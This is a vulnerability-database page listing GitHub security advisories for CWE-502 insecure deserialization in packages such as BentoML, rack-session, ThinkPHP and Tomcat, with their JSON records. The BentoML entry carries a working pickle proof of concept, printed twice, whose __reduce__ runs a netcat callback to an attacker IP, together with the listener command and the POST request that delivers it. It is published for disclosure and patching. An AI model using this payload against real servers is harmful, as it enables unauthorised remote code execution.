Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4797 vulnerabilities reference this CWE, most recent first.

GHSA-33CR-M232-XQCH

Vulnerability from github – Published: 2025-03-11 21:54 – Updated: 2025-03-14 20:05
VLAI
Summary
cheqd-node affected by Non-deterministic JSON Unmarshalling of IBC Acknowledgement
Details

Description

An issue was discovered in IBC-Go's deserialization of acknowledgements that results in non-deterministic behavior which can halt a chain. Any user that can open an IBC channel can introduce this state to the chain.

This an upstream dependency used in cheqd-node, rather than a custom module.

Impact

Could result in a chain halt.

Patches

Validators, full nodes, and IBC relayers should upgrade to cheqd-node v3.1.7. This upgrade does not require a software upgrade proposal on-chain and is meant to be non state-breaking.

References

See ASA-2025-004: Non-deterministic JSON Unmarshalling of IBC Acknowledgement can result in a chain halt upstream on IBC-Go.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cheqd/cheqd-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-11T21:54:29Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Description\n\n[An issue was discovered in IBC-Go\u0027s deserialization of acknowledgements](https://github.com/cosmos/ibc-go/security/advisories/GHSA-jg6f-48ff-5xrw) that results in non-deterministic behavior which can halt a chain. Any user that can open an IBC channel can introduce this state to the chain.\n\nThis an upstream dependency used in cheqd-node, rather than a custom module.\n\n## Impact\nCould result in a chain halt.\n\n## Patches\nValidators, full nodes, and IBC relayers should upgrade to **[cheqd-node v3.1.7](https://github.com/cheqd/cheqd-node/releases/tag/v3.1.7)**. This upgrade does not require a software upgrade proposal on-chain and is meant to be non state-breaking.\n\n## References\nSee [ASA-2025-004: Non-deterministic JSON Unmarshalling of IBC Acknowledgement can result in a chain halt](https://github.com/cosmos/ibc-go/security/advisories/GHSA-jg6f-48ff-5xrw) upstream on IBC-Go.",
  "id": "GHSA-33cr-m232-xqch",
  "modified": "2025-03-14T20:05:07Z",
  "published": "2025-03-11T21:54:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cheqd/cheqd-node/security/advisories/GHSA-33cr-m232-xqch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cosmos/ibc-go/security/advisories/GHSA-jg6f-48ff-5xrw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cosmos/ibc-go/commit/59987d52d959dc5876ffd4f307c9b33a52a43748"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cheqd/cheqd-node"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3514"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cheqd-node affected by Non-deterministic JSON Unmarshalling of IBC Acknowledgement"
}

GHSA-33GC-6CW9-W3G4

Vulnerability from github – Published: 2021-12-10 20:23 – Updated: 2023-09-19 10:02
VLAI
Summary
Deserialization of Untrusted Data in topthink/framework
Details

ThinkPHP v6.0.8 was discovered to contain a deserialization vulnerability via the component vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "topthink/framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-36564"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-08T20:30:33Z",
    "nvd_published_at": "2021-12-06T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "ThinkPHP v6.0.8 was discovered to contain a deserialization vulnerability via the component vendor\\league\\flysystem-cached-adapter\\src\\Storage\\Adapter.php.",
  "id": "GHSA-33gc-6cw9-w3g4",
  "modified": "2023-09-19T10:02:42Z",
  "published": "2021-12-10T20:23:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36564"
    },
    {
      "type": "WEB",
      "url": "https://github.com/top-think/framework/issues/2559"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in topthink/framework"
}

GHSA-33Q3-W4GF-476F

Vulnerability from github – Published: 2025-08-14 12:30 – Updated: 2026-04-01 18:35
VLAI
Details

Deserialization of Untrusted Data vulnerability in scriptsbundle Exertio allows Object Injection. This issue affects Exertio: from n/a through 1.3.2.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-54686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-14T11:15:48Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in scriptsbundle Exertio allows Object Injection. This issue affects Exertio: from n/a through 1.3.2.",
  "id": "GHSA-33q3-w4gf-476f",
  "modified": "2026-04-01T18:35:50Z",
  "published": "2025-08-14T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54686"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/theme/exertio/vulnerability/wordpress-exertio-theme-1-3-2-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-33QG-7WPP-89CQ

Vulnerability from github – Published: 2026-04-08 00:15 – Updated: 2026-05-13 16:21
VLAI
Summary
Rack::Session::Cookie secrets: decrypt failure fallback enables secretless session forgery and Marshal deserialization
Details

Rack::Session::Cookie incorrectly handles decryption failures when configured with secrets:. If cookie decryption fails, the implementation falls back to a default decoder instead of rejecting the cookie. This allows an unauthenticated attacker to supply a crafted session cookie that is accepted as valid session data without knowledge of any configured secret.

Because this mechanism is used to load session state, an attacker can manipulate session contents and potentially gain unauthorized access.

Details

When secrets: is configured, Rack::Session::Cookie attempts to decrypt incoming session cookies using one of the configured encryptors. If all decrypt attempts fail, the implementation does not reject the cookie. Instead, it falls back to decoding the cookie using a default coder.

This fallback path processes attacker-controlled cookie data as trusted session state. The behavior is implicit and occurs even when encrypted cookies are expected.

The fallback decoder is applied automatically and does not require the application to opt into a non-encrypted session format. As a result, a client can send a specially crafted cookie value that bypasses the intended integrity protections provided by secrets:.

This issue affects both default configurations and those using alternative serializers for encrypted payloads.

Impact

Any Rack application using Rack::Session::Cookie with secrets: may be affected.

[!NOTE] Rails applications are typically not affected — Rails uses ActionDispatch::Session::CookieStore, which is a separate implementation backed by ActiveSupport::MessageEncryptor and does not share the vulnerable code path.

An unauthenticated attacker can supply a crafted session cookie that is accepted as valid session data. This can lead to authentication bypass or privilege escalation in applications that rely on session values for identity or authorization decisions.

Depending on application behavior and available runtime components, processing of untrusted session data may also expose additional risks.

Mitigation

  • Update to a patched version ofrack-session that rejects cookies when decryption fails under the secrets: configuration.
  • After updating, rotate session secrets to invalidate existing session cookies, since attacker-supplied session data may have been accepted and re-issued prior to the fix.
Severity
9.1 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack-session"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345",
      "CWE-502",
      "CWE-565"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:15:08Z",
    "nvd_published_at": "2026-04-07T18:16:43Z",
    "severity": "CRITICAL"
  },
  "details": "`Rack::Session::Cookie` incorrectly handles decryption failures when configured with `secrets:`. If cookie decryption fails, the implementation falls back to a default decoder instead of rejecting the cookie. This allows an unauthenticated attacker to supply a crafted session cookie that is accepted as valid session data without knowledge of any configured secret.\n\nBecause this mechanism is used to load session state, an attacker can manipulate session contents and potentially gain unauthorized access.\n\n## Details\n\nWhen `secrets:` is configured, `Rack::Session::Cookie` attempts to decrypt incoming session cookies using one of the configured encryptors. If all decrypt attempts fail, the implementation does not reject the cookie. Instead, it falls back to decoding the cookie using a default coder.\n\nThis fallback path processes attacker-controlled cookie data as trusted session state. The behavior is implicit and occurs even when encrypted cookies are expected.\n\nThe fallback decoder is applied automatically and does not require the application to opt into a non-encrypted session format. As a result, a client can send a specially crafted cookie value that bypasses the intended integrity protections provided by `secrets:`.\n\nThis issue affects both default configurations and those using alternative serializers for encrypted payloads.\n\n## Impact\n\nAny Rack application using `Rack::Session::Cookie` with `secrets:` may be affected.\n\n\u003e [!NOTE]\n\u003e Rails applications are typically not affected \u2014 Rails uses `ActionDispatch::Session::CookieStore`, which is a separate implementation backed by `ActiveSupport::MessageEncryptor` and does not share the vulnerable code path.\n\nAn unauthenticated attacker can supply a crafted session cookie that is accepted as valid session data. This can lead to authentication bypass or privilege escalation in applications that rely on session values for identity or authorization decisions.\n\nDepending on application behavior and available runtime components, processing of untrusted session data may also expose additional risks.\n\n## Mitigation\n\n* Update to a patched version of`rack-session` that rejects cookies when decryption fails under the `secrets:` configuration.\n  * After updating, rotate session secrets to invalidate existing session cookies, since attacker-supplied session data may have been accepted and re-issued prior to the fix.",
  "id": "GHSA-33qg-7wpp-89cq",
  "modified": "2026-05-13T16:21:11Z",
  "published": "2026-04-08T00:15:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack-session/security/advisories/GHSA-33qg-7wpp-89cq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39324"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack-session"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-session/CVE-2026-39324.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rack::Session::Cookie secrets: decrypt failure fallback enables secretless session forgery and Marshal deserialization"
}

GHSA-33XW-247W-6HMC

Vulnerability from github – Published: 2025-04-04 16:05 – Updated: 2025-04-04 16:05
VLAI
Summary
BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
Details

Summary

A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Details

It exists an unsafe code segment in serde.py: 

def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

Through data flow analysis, it is confirmed that the payloadcontent is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

PoC

Environment:

  • Server host:
  • IP: 10.98.36.123
  • OS: Ubuntu
  • Attack host:
  • IP: 10.98.36.121

  • OS: Ubuntu

  • Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml

1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :

from __future__ import annotations

import bentoml

@bentoml.service(
    resources={"cpu": "4"}
)
class Summarization:
    def __init__(self) -> None:
        import torch
        from transformers import pipeline

        device = "cuda" if torch.cuda.is_available() else "cpu"
        self.pipeline = pipeline('summarization', device=device)

    @bentoml.api(batchable=True)
    def summarize(self, texts: list[str]) -> list[str]:
        results = self.pipeline(texts)
        return [item['summary_text'] for item in results]

1.3 Run the service code (Server host: 10.98.36.123) :

pip install torch transformers  # additional dependencies for local run

bentoml serve

  1. Start nc listening on the attacking host (Attack host: 10.98.36.121) : nc -lvvp 1234

  2. Send maliciously crafted request (Attack host: 10.98.36.121) :

import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
  1. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. nc

Impact

Remote Code Execution (RCE).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.4"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-04T16:05:32Z",
    "nvd_published_at": "2025-04-04T15:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.\n\n### Details\nIt exists an unsafe code segment in `serde.py`: \n```Python\ndef deserialize_value(self, payload: Payload) -\u003e t.Any:\n    if \"buffer-lengths\" not in payload.metadata:\n        return pickle.loads(b\"\".join(payload.data))\n```\nThrough data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.\n\n### PoC\nEnvironment:\n\n- Server host:\n  - IP: 10.98.36.123\n  - OS: Ubuntu \n- Attack host:\n  - IP: 10.98.36.121\n  - OS: Ubuntu \n\n\n\n1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.\n\n1.1 Install BentoML (Server host: 10.98.36.123) :\n` pip install -U bentoml`\n\n1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :\n``` Python\nfrom __future__ import annotations\n\nimport bentoml\n\n@bentoml.service(\n    resources={\"cpu\": \"4\"}\n)\nclass Summarization:\n    def __init__(self) -\u003e None:\n        import torch\n        from transformers import pipeline\n\n        device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n        self.pipeline = pipeline(\u0027summarization\u0027, device=device)\n\n    @bentoml.api(batchable=True)\n    def summarize(self, texts: list[str]) -\u003e list[str]:\n        results = self.pipeline(texts)\n        return [item[\u0027summary_text\u0027] for item in results]\n```\n\n\n1.3 Run the service code (Server host: 10.98.36.123) :\n``` Bash\npip install torch transformers  # additional dependencies for local run\n\nbentoml serve\n```\n\n\n2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :\n`nc -lvvp 1234`\n\n3. Send maliciously crafted request (Attack host: 10.98.36.121) :\n``` Python\nimport pickle\nimport os\nimport requests\n\nheaders = {\u0027Content-Type\u0027: \u0027application/vnd.bentoml+pickle\u0027}\n\nclass Evil:\n    def __reduce__(self):\n        return(os.system, (\u0027nc 10.98.36.121 1234\u0027,))\n\npayload = pickle.dumps(Evil())\n\nrequests.post(\"http://10.98.36.123:3000/summarize\", data=payload, headers=headers)\n```\n\n\n4. Attack success (Attack host: 10.98.36.121) :\nThe server host(10.98.36.123) has connected to the attacker\u0027s host(10.98.36.121) listening on port 1234.\n![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)\n\n\n\n### Impact\nRemote Code Execution (RCE).",
  "id": "GHSA-33xw-247w-6hmc",
  "modified": "2025-04-04T16:05:32Z",
  "published": "2025-04-04T16:05:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization"
}

GHSA-342J-57XR-35P2

Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:06
VLAI
Details

A vulnerability in the Java deserialization function used by Cisco Security Manager could allow an unauthenticated, remote attacker to execute arbitrary commands on an affected device. The vulnerability is due to insecure deserialization of user-supplied content by the affected software. An attacker could exploit this vulnerability by sending a malicious serialized Java object to a specific listener on an affected system. A successful exploit could allow the attacker to execute arbitrary commands on the device with the privileges of casuser.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-12630"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-02T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the Java deserialization function used by Cisco Security Manager could allow an unauthenticated, remote attacker to execute arbitrary commands on an affected device. The vulnerability is due to insecure deserialization of user-supplied content by the affected software. An attacker could exploit this vulnerability by sending a malicious serialized Java object to a specific listener on an affected system. A successful exploit could allow the attacker to execute arbitrary commands on the device with the privileges of casuser.",
  "id": "GHSA-342j-57xr-35p2",
  "modified": "2024-04-04T02:06:50Z",
  "published": "2022-05-24T16:57:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12630"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191002-sm-java-deserial"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3437-GJ43-RX9G

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35
VLAI
Details

Vulnerability in the WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise WebLogic Server. Successful attacks of this vulnerability can result in takeover of WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-35300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T10:40:22Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise WebLogic Server.  Successful attacks of this vulnerability can result in takeover of WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-3437-gj43-rx9g",
  "modified": "2026-06-17T18:35:24Z",
  "published": "2026-06-17T18:35:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35300"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspujun2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-344F-F5VG-2JFJ

Vulnerability from github – Published: 2020-05-21 18:52 – Updated: 2026-05-20 21:58
VLAI
Summary
Potential remote code execution in Apache Tomcat
Details

When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.

Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.0-M4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-M1"
            },
            {
              "fixed": "10.0.0-M5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.5.55"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.104"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.0-M4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-M1"
            },
            {
              "fixed": "10.0.0-M5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.5.55"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.104"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-9484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-05-21T17:21:20Z",
    "nvd_published_at": "2020-05-20T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=\"null\" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.",
  "id": "GHSA-344f-f5vg-2jfj",
  "modified": "2026-05-20T21:58:43Z",
  "published": "2020-05-21T18:52:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9484"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222.patch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/4785433a226a20df6acbea49296e1ce7e23de453"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/6d66e99ef85da93e4d2c2a536ca51aa3418bfaf4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/74b105657ffbd1d1de80455f03446c3bbf30d1f5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/93f0cc403a9210d469afc2bd9cf03ab3251c6f35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/bb33048e3f9b4f2b70e4da2e6c4e34ca89023b1b"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-9.html"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-8.html"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-7.html"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-10.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200528-0005"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202006-21"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WJ7XHKWJWDNWXUJH6UB7CLIW4TWOZ26N"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GIQHXENTLYUNOES4LXVNJ2NCUQQRF5VJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/07/msg00010.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/05/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1171928"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4448-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4596-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4727"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/tomcat"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10332"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r11ce01e8a4c7269b88f88212f21830edf73558997ac7744f37769b77@%3Cusers.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
